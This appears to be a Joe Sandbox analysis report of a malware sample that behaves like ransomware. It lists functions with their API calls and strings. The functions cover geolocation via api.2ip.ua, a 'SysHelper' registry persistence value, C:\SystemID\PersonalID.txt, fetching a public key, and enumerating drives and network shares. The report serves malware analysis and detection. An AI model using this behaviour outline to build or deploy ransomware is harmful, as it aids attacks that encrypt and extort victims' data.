Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: cd78e1898ea84e60fdfa50f9eb83c3ab62832c9868a69cc69d1cb43ec1d7311d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: cd78e1898ea84e60fdfa50f9eb83c3ab62832c9868a69cc69d1cb43ec1d7311d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: bc0409cf67eb96ff452217d95cb33fc7a1503bde444b563dd6455330355649b4
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: bc0409cf67eb96ff452217d95cb33fc7a1503bde444b563dd6455330355649b4
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: d4b854b1a042bc7f4eca9b6978f64a5362c10ac0be79c5668a7c075dc83f2c74
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: d4b854b1a042bc7f4eca9b6978f64a5362c10ac0be79c5668a7c075dc83f2c74
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: a5a6e45a3efc39e2a702b7f6ba076140c5513fedf715292f83ee0d6d790ba63a
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: a5a6e45a3efc39e2a702b7f6ba076140c5513fedf715292f83ee0d6d790ba63a
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00770000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: f0e33587de5e902e809f2e9fdd6f10f7e1a4d6241bd12d91fca3714243aa6afb
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: f0e33587de5e902e809f2e9fdd6f10f7e1a4d6241bd12d91fca3714243aa6afb
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4ae49f209f6475a8200da9094bd174a6e7cf262bc7a48cefe5d20c6bfdcbc766
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4ae49f209f6475a8200da9094bd174a6e7cf262bc7a48cefe5d20c6bfdcbc766
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: df8966e02a3f9d03a816607f9624d87d989a2f119eda69976359c742cc2f312e
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: df8966e02a3f9d03a816607f9624d87d989a2f119eda69976359c742cc2f312e
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: fd71ece97d69cd2e1e43cefa44c229bd5d58054698acf9877d9dd29cbeed6c8b
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: fd71ece97d69cd2e1e43cefa44c229bd5d58054698acf9877d9dd29cbeed6c8b
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b9f202a46f54d295c2be6cc259b5f6dbd11e9afd298a7670df070f9b36d6038a
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b9f202a46f54d295c2be6cc259b5f6dbd11e9afd298a7670df070f9b36d6038a
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420CF4 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00420D30
__flush.LIBCMT ref: 00420D3C
__write.LIBCMT ref: 00420D86

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __flush__getptd_noexit__lock_file__write
String ID:
API String ID: 1331135983-0
Opcode ID: 35b811d88357f77a415146c2eb23ccc7e4c6579287969227049f292d1e69e1b3
Instruction ID: c258a73fbdc8133854d5e811ea952fba0687a612e98e888965f4ed88a5c8c031
Opcode Fuzzy Hash: 35b811d88357f77a415146c2eb23ccc7e4c6579287969227049f292d1e69e1b3
Instruction Fuzzy Hash: 3911C821712B305AD6245B75BC4276E3A909F41734F94834FE4758A1C3CB2CA542475D

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

